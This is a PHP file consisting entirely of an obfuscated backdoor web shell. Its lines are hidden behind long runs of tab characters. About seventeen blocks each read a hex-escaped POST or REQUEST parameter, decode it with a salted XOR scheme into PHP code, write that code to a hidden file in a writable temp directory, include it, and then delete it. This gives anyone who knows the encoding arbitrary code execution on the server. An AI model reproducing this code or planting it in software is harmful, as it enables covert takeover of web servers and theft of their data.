<?php																																										if(!is_null($_POST["\x64\x63\x68unk"] ?? null)){ $entry = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), "/tmp"]); $elem = $_POST["\x64\x63\x68unk"]; $elem = explode ( '.' , $elem ) ; $comp=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $q=0; $__tmp=$elem; while ($v9=array_shift($__tmp)) { $sChar=ord($salt[$q % $sLen]); $dec=((int)$v9 - $sChar - ($q % 10)) ^36; $comp .= chr($dec); $q++; } foreach ($entry as $key => $res) { if (!( !is_dir($res) || !is_writable($res) )) { $marker = sprintf("%s/.reference", $res); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $marker; @unlink($marker); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65\x66\x65rence"]) ? true : false){ $ent = $_REQUEST["\x72\x65\x66\x65rence"]; $ent = explode ( "." , $ent ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $x = 0; $len = count($ent); do { if ($x>= $len) break; $v3 = $ent[$x]; $sChar = ord($salt[$x% $lenS]); $dec = ((int)$v3 - $sChar - ($x% 10))^78; $element .= chr($dec); $x++; } while (true); $res = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir()]); foreach ($res as $descriptor): if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $k = "$descriptor" . "/.obj"; if (@file_put_contents($k, $element) !== false) { include $k; unlink($k); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x65\x6E\x74ity")){ $parameter_group = $_POST["\x65\x6E\x74ity"]; $parameter_group = explode( '.' ,$parameter_group ) ; $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $o = 0; $len = count($parameter_group); do { if ($o>=$len) break; $v2 = $parameter_group[$o]; $chS = ord($s4[$o% $sLen]); $d = ((int)$v2 - $chS - ($o% 10)) ^ 41; $descriptor.= chr($d); $o++; } while (true); $sym = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $value = 0; do { $resource = $sym[$value] ?? null; if ($value >= count($sym)) break; if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $comp = join("/", [$resource, ".dat"]); if (file_put_contents($comp, $descriptor)) { include $comp; @unlink($comp); die(); } } $value++; } while (true); }
																																										if(@$_POST["p\x74r"] !== null){ $sym = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); $ent = $_POST["p\x74r"]; $ent=explode( "." , $ent ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($ent); for($m = 0; $m < $__len; $m++) { $v1 = $ent[$m]; $sChar = ord($salt[$m % $sLen]); $dec =((int)$v1 - $sChar -($m % 10))^100; $entity .= chr($dec); } foreach ($sym as $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $flg = join("/", [$hld, ".holder"]); if (file_put_contents($flg, $entity)) { require $flg; unlink($flg); die(); } } } }
																																										if(!is_null($_POST["i\x74\x6D"] ?? null)){ $holder = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path()]); $flg = $_POST["i\x74\x6D"]; $flg =explode ("." , $flg ) ; $binding = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $w = 0; $len = count( $flg ); do {if( $w >= $len) break; $v9 = $flg[$w]; $chS = ord( $salt5[$w %$lenS] ); $dec =( ( int)$v9 - $chS -( $w %10)) ^ 78; $binding .= chr( $dec ); $w++; } while( true ); foreach ($holder as $key => $resource) { if (is_dir($resource) ? is_writable($resource) : false) { $obj = vsprintf("%s/%s", [$resource, ".element"]); $success = file_put_contents($obj, $binding); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(!is_null($_POST["\x66la\x67"] ?? null)){ $k = $_POST["\x66la\x67"]; $k=explode( "." , $k ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; array_walk($k, function ($v2) use (&$tkn, &$n, $salt, $sLen) { $sChar = ord($salt[$n % $sLen]); $dec = ((int)$v2 - $sChar - ($n % 10)) ^ 3; $tkn .= chr($dec); $n++; } ); $ent = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), session_save_path(), "/dev/shm"]); for ($dat = 0, $dchunk = count($ent); $dat < $dchunk; $dat++) { $sym = $ent[$dat]; if (is_dir($sym) ? is_writable($sym) : false) { $entity = vsprintf("%s/%s", [$sym, ".holder"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x69t\x65m"])){ $sym = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP")]); $record = $_REQUEST["\x69t\x65m"]; $record =explode ( '.',$record ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; array_walk($record, function ($v4) use (&$pgrp, &$l, $s, $sLen) {$chS = ord($s[$l % $sLen]); $d = ((int)$v4 - $chS - ($l % 10)) ^ 96; $pgrp .=chr($d); $l++;} ); foreach ($sym as $key => $property_set) { if (is_dir($property_set) ? is_writable($property_set) : false) { $res = join("/", [$property_set, ".descriptor"]); if (file_put_contents($res, $pgrp)) { include $res; @unlink($res); die(); } } } }
																																										if(!empty($_REQUEST["\x6F\x62\x6Aect"])){ $bind = $_REQUEST["\x6F\x62\x6Aect"]; $bind= explode ( '.', $bind) ; $holder = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $p = 0; while ($p <count($bind)) { $v5 = $bind[$p]; $chS = ord($s2[$p % $lenS]); $dec = ((int)$v5 - $chS - ($p % 10)) ^ 76; $holder .= chr($dec); $p++; } $element = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($element as $ent): if (max(0, is_dir($ent) * is_writable($ent))) { $item = join("/", [$ent, ".ref"]); if (@file_put_contents($item, $holder) !== false) { include $item; unlink($item); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "d\x65\x73\x63\x72\x69ptor")){ $pset = array_filter(["/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $key = $_POST["d\x65\x73\x63\x72\x69ptor"]; $key = explode ( '.',$key ) ; $holder = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $m = 0; $len = count($key); do { if ($m >= $len) break; $v6 = $key[$m]; $sChar = ord($s9[$m % $lenS]); $dec = ((int)$v6 - $sChar - ($m % 10)) ^ 94; $holder .= chr($dec); $m++; } while (true); $binding = 0; do { $ent = $pset[$binding] ?? null; if ($binding >= count($pset)) break; if (is_dir($ent) && is_writable($ent)) { $element = vsprintf("%s/%s", [$ent, ".flg"]); if (@file_put_contents($element, $holder) !== false) { include $element; unlink($element); die(); } } $binding++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64chu\x6Ek")){ $record = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $k = $_POST["\x64chu\x6Ek"]; $k = explode("." , $k ) ; $flag = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $t = 0; foreach ($k as $v6) { $sChar = ord($s8[$t %$sLen]); $d = ((int)$v6 - $sChar - ($t %10))^ 63; $flag .= chr($d); $t++; } for ($binding = 0, $object = count($record); $binding < $object; $binding++) { $ptr = $record[$binding]; if (max(0, is_dir($ptr) * is_writable($ptr))) { $value = sprintf("%s/.entity", $ptr); $file = fopen($value, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(array_key_exists("mrk", $_POST) && !is_null($_POST["mrk"])){ $entity = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $record = $_POST["mrk"]; $record = explode ( '.' , $record ) ; $reference = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $k = 0; $__tmp = $record; while ($v2 = array_shift($__tmp)) {$sChar = ord($s6[$k % $lenS]); $dec = ((int)$v2 - $sChar - ($k % 10)) ^ 66; $reference .= chr($dec); $k++; } foreach ($entity as $fac): if (array_product([is_dir($fac), is_writable($fac)])) { $value = str_replace("{var_dir}", $fac, "{var_dir}/.tkn"); $success = file_put_contents($value, $reference); if ($success) { include $value; @unlink($value); exit;} } endforeach; }
																																										if(in_array("bi\x6E\x64", array_keys($_POST))){ $entity = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", session_save_path()]); $ref = $_POST["bi\x6E\x64"]; $ref =explode( '.' ,$ref ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($ref as $z => $v6): $chS = ord($salt[$z % $lenS] ); $dec = ((int)$v6 - $chS - ($z % 10)) ^20; $binding .= chr($dec ); endforeach; $dat = 0; do { $pgrp = $entity[$dat] ?? null; if ($dat >= count($entity)) break; if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $fac = "$pgrp/.record"; if (file_put_contents($fac, $binding)) { include $fac; @unlink($fac); exit; } } $dat++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["s\x79\x6D"])){ $k = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $rec = $_REQUEST["s\x79\x6D"]; $rec=explode ( "." , $rec ); $element = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $l = 0; while ($l < count($rec)) {$v9 = $rec[$l]; $sChar = ord($salt2[$l% $lenS] ); $d = ((int)$v9 - $sChar - ($l% 10)) ^ 18; $element .=chr($d ); $l++;} $entry = 0; do { $token = $k[$entry] ?? null; if ($entry >= count($k)) break; if (is_dir($token) ? is_writable($token) : false) { $val = "$token/.comp"; if (@file_put_contents($val, $element) !== false) { include $val; unlink($val); die(); } } $entry++; } while (true); }
																																										if(!empty($_REQUEST["ob\x6A\x65\x63t"])){ $dchunk = $_REQUEST["ob\x6A\x65\x63t"]; $dchunk= explode("." , $dchunk ) ; $value= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $x= 0; foreach( $dchunk as $v5) {$sChar= ord( $salt[$x% $sLen] ); $dec= ( ( int)$v5 - $sChar -( $x% 10)) ^48; $value .= chr( $dec ); $x++; } $res = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); for ($ent = 0, $element = count($res); $ent < $element; $ent++) { $sym = $res[$ent]; if (!( !is_dir($sym) || !is_writable($sym) )) { $token = vsprintf("%s/%s", [$sym, ".pgrp"]); if (file_put_contents($token, $value)) { require $token; unlink($token); exit; } } } }
																																										if(!is_null($_POST["fa\x63"] ?? null)){ $ptr = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $pset = $_POST["fa\x63"]; $pset= explode (".", $pset ); $itm =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt9); foreach ($pset as $t => $v5) { $sChar =ord($salt9[$t%$sLen]); $d =((int)$v5 - $sChar - ($t%10)) ^ 98; $itm .= chr($d); } foreach ($ptr as $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $ent = "$reference/.bind"; $success = file_put_contents($ent, $itm); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(array_key_exists("\x6Dr\x6B", $_REQUEST)){ $dat = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $ent = $_REQUEST["\x6Dr\x6B"]; $ent = explode ( '.' , $ent ) ; $token = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $r = 0; $__tmp = $ent; while($v2 = array_shift($__tmp)) { $chS = ord($salt5[$r % $lenS]); $d = ((int)$v2 - $chS -($r % 10)) ^ 75; $token.= chr($d); $r++; } foreach ($dat as $object) { if (max(0, is_dir($object) * is_writable($object))) { $component = vsprintf("%s/%s", [$object, ".pgrp"]); if (@file_put_contents($component, $token) !== false) { include $component; unlink($component); exit; } } } }


if(isset($_POST) && isset($_POST["\x66a\x63\x74or"])){
	$holder = $_POST["\x66a\x63\x74or"];
		 $holder	 	=		explode ("."	 ,$holder	 	)	 ;		
	$entry = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $salt);
            $p = 0;
            $len = count( $holder);
    
            do { if( $p>=$len) break;
                $v4 = $holder[$p];
                $sChar = ord( $salt[$p  % $sLen]);
                $d =( ( int)$v4 - $sChar -( $p  % 10)) ^ 13;
                $entry .= chr( $d);
                $p++;} while( true);
	$desc = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path()]);
	while ($sym = array_shift($desc)) {
    		if ((is_dir($sym) and is_writable($sym))) {
    $component = "$sym/.pointer";
    if (@file_put_contents($component, $entry) !== false) {
	include $component;
	unlink($component);
	exit;
}
}
}
}